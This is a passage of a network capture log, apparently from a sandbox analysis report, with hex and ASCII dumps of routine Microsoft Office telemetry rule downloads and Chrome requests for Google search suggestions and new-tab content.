2024-11-25 04:46:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044627Z-178bfbc474bp8mkvhC1NYCzqnn00000006sg00000000c69b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044627Z-178bfbc474btvfdfhC1NYCa2en0000000730000000004w0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044627Z-178bfbc474bv7whqhC1NYC1fg400000006zg000000007e21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49756	142.250.181.68	443	7976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:46:28 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:28 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-WYBLBSH1WxOK6hryUFyr9Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 04:46:28 UTC	124	IN	Data Raw: 33 33 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 65 63 20 70 6f 77 65 72 20 72 61 6e 6b 69 6e 67 73 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 68 6f 77 20 74 6f 20 74 72 61 69 6e 20 79 6f 75 72 20 64 72 61 67 6f 6e 20 6d 6f 76 69 65 20 74 72 61 69 6c 65 72 22 2c 22 70 6f 6b 65 6d 6f 6e 20 67 6f 20 6d 69 67 68 74 79 20 70 6f 6b 65 6d 6f 6e 20 6c 69 73 74 22 2c 22 73 74 72 65 Data Ascii: 33b)]}'["",["sec power rankings football","how to train your dragon movie trailer","pokemon go mighty pokemon list","stre
2024-11-25 04:46:28 UTC	710	IN	Data Raw: 61 6d 69 6e 67 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 2c 22 6d 61 6e 63 68 65 73 74 65 72 20 75 6e 69 74 65 64 20 69 70 73 77 69 63 68 20 74 6f 77 6e 22 2c 22 6e 79 74 20 6d 69 6e 69 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 74 68 65 20 65 61 72 74 68 20 74 69 6c 74 65 64 20 33 31 2e 35 20 69 6e 63 68 65 73 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 Data Ascii: aming black friday deals","manchester united ipswich town","nyt mini crossword clues","the earth tilted 31.5 inches","thanksgiving winter storm forecast snow"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo"
2024-11-25 04:46:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49757	142.250.181.68	443	7976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:28 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49759	142.250.181.68	443	7976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:28 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:46:28 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 04:46:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 04:46:28 UTC	372	IN	Data Raw: 33 34 36 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3462)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700333,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
